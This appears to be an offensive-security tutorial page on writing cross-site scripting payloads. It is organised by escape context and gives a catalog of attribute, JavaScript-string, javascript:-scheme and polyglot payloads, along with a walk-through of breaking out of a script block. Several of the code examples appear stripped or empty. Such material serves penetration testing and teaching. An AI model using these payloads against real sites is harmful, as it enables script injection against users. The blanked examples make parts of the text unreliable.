# Payload Construction > Context-aware XSS payload crafting - the escape-then-execute discipline that distinguishes operators from script-kiddies, payload catalogs organized by escape context, polyglot payloads that fire across multiple contexts, minimal payloads for length-restricted fields, and the canonical patterns for breaking out of HTML attributes, JavaScript strings, JSON values, and URL contexts. ## TL;DR XSS payload construction is two steps performed in order: **escape** the surrounding context, then **execute** your code. A payload that doesn't escape first lands in the data layer and never executes. A payload that escapes too aggressively breaks the surrounding HTML and doesn't render. The catalog below organizes payloads by what they escape *out of*. ``` # 1. Identify the context - what is your input embedded in? # 2. Pick the escape: characters that terminate the current context # 3. Append the execution: JavaScript or HTML that runs after escape # HTML body - no escape needed # Double-quoted attribute - escape is " " onmouseover=alert(1) x=" # Single-quoted attribute - escape is ' ' onmouseover=alert(1) x=' # JS string (double-quoted) - escape is "; for terminate, then // "; alert(1); // # JSON inside script - escape is # href attribute - no escape needed, use javascript: scheme javascript:alert(1) # Polyglot - works in many contexts at once jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e ``` Success indicator: payload executes the expected JavaScript in the victim's browser. `alert(document.domain)` proves same-origin execution. ## The escape-then-execute discipline A common failure mode for new XSS operators: paste `` everywhere, wonder why it doesn't fire. The fix is mechanical - *understand what your input lands in, then craft a payload that breaks out of that context first*. A walk-through: ### Example - JSON-in-script reflection Page source: ```html ``` You inject ``. The rendered output: ```html ``` What happens? The ` ``` What happens? The browser's HTML parser tokenizes the page before the JavaScript parser runs. The HTML tokenizer sees `` as a script-close tag, regardless of where it appears in the surrounding content. The script block ends. The `` that follows is HTML. The `onload` fires. **The XSS fires.** The difference between failure and success: knowing that `` is the escape for "inside a `

HERE

HERE

Welcome HERE!

``` No escape needed; introduce a new tag: ```html